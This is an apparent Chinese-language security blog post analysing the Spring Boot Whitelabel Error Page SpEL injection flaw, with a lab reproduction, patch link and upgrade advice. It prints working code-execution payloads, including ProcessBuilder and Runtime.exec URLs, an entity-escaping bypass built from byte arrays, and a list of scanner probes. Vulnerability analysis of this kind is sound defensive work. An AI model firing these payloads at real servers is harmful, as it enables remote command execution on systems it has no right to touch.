?

Sep 07 2016

Spring Boot框架Whitelabel Error Page SpEL注入漏洞分析

首頁 » 漏洞收集 » Spring Boot框架Whitelabel Error Page SpEL注入漏洞分析   

 

SpEL Introduction

The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.

SpEL表達式帶來方便的同時也帶來了安全風險,攻擊者可以注入惡意的SpEL表達式以獲取系統的權限。

1.jpg

 

 

 

Spring Boot 框架Whitelabel Error Page SpEL注入的原因就是系統報錯頁面把用戶的輸入當做了表達式來執行,詳情:

https://github.com/spring-projects/spring-boot/issues/4763

2.jpg

 

 

 

 

補丁地址:https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

漏洞復現:

下載spring-boot-1.3.0.RELEASE找到spring-boot-sample

spring-boot-1.3.0.RELEASE\spring-boot-1.3.0.RELEASE\spring-boot-samples\spring-boot-sample-tomcat-jsp,修改WelcomeController代碼如下,這樣就能導致程序異常。

 

@RequestMapping("/fail2") public String fail2(String payload) {
   System.out.print(payload);
   Integer.parseInt(payload); throw new IllegalStateException();
}

或者

@RequestMapping("/fail2") public String fail2(String payload) { throw new IllegalStateException(payload);
}
一些測試用例的原因導致demo不能構建成功,需要maven配置
plugin>    <groupId>org.apache.maven.plugins</groupId>    <artifactId>maven-surefire-plugin</artifactId>    <version>2.6</version>    <configuration>       <skipTests>true</skipTests>    </configuration> </plugin>

通過調試可得到Whitelabel Error Page模板頁:

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.

</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>

當程序在運行的時候會解析其中的SpEL的表達式來填充value值得內容。

單步調試,可以看到對應異常的根對象信息:

3.jpg

 

繼續跟進可以看到執行了expression.getValue(this.content)方法:4.jpg
 
最后可以看到我們的pyaload成功執行了:
5.png
 
 

調用計算器:

http://localhost:8080/fail2?payload=${(new%20java.lang.ProcessBuilder(%27calc%27)).start()}

在解析SpEL表達式的時候注入表達式變成了&quot;aaa&quot;.replace(&#39;a&#39;,&#39;b&#39;)

可以看到payload中帶有' " 的一些特殊字符會被html實體轉義,導致不能預期的執行代碼。

 

7.png7.jpg

但是可以通過String類動態生成特殊字符,最終構造:

http://localhost:8080/fail2?payload=${new%20java.lang.ProcessBuilder(new%20java.lang.String(new%20byte[]{99,97,108,99})).start()}

 

8.jpg

 

 

之前看到幾個朋友的掃描器payload是下面這樣的,然后說掃不出來東西,因為針對Spring Boot這個漏洞壓根就不會觸發,只能檢測到異常。

payload=${@[email protected](@[email protected]().exec(%27netstat%20-na%27).getInputStream())}

payload=${pageContext.request.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22,null,null).toString()}

payload=${(new%20java.lang.ProcessBuilder(%27calc%27)).start()}

payload=${getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc",null).toString()}

payload=${new%20java.lang.String(new%20byte[]{86,117,108,110,101,114,97,98,108,101}).toUpperCase()}


最佳掃描器payload

payload=${new%20java.lang.String(new%20byte[]{86,117,108,110,101,114,97,98,108,101})}。

payload=${(java.lang.Math).random() * 100.0}

前提需要目標系統控制器拋出異常才能觸發這個漏洞。


修復方案:

目前分析該漏洞影響Spring Boot版本為1.1-1.3.0,建議企業進行排查,如果使用了該缺陷版本建議立即升級至1.3.1及以上版本。


參考:

Spring Boot框架SPEL漏洞技術分析與防護方案

http://blog.nsfocus.net/spel-vulnerability-technical-analysis-and-protection-scheme/

Spring Expression Language (SpEL)

http://docs.spring.io/spring/docs/current/spring-framework-reference/html/expressions.html

spring boot應用啟動原理分析 

http://blog.csdn.net/hengyunabc/article/details/50120001

使用 Spring Boot 快速構建 Spring 框架應用

http://www.ibm.com/developerworks/cn/java/j-lo-spring-boot/

漏洞預警 | Spring Boot 框架存在高危通用漏洞

http://mp.weixin.qq.com/s?__biz=MzIyMjExNzk5NQ==&mid=2653079419&idx=1&sn=63c00b9dbc37c29072edb9b87b940758&scene=4#wechat_redirect

http://blog.nsfocus.net/spel-vulnerability-technical-analysis-and-protection-scheme/

http://mp.weixin.qq.com/s?__biz=MzAwMzI0MTMwOQ==&mid=2650173748&idx=1&sn=a0fa9e48ed05d80b7c693082f6b687ce&scene=0&ptlang=2052&ADUIN=40497992&ADSESSION=1473247036&ADTAG=CLIENT.QQ.5443_.0&ADPUBNO=26536#wechat_redirect

 

 

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: SpEL注入漏洞分析

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «關于愛快iKuai路由產品漏洞情況的通報 | 從某云服務商溯源黑客老巢:實例講解Botnet僵尸網絡和DDoS»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖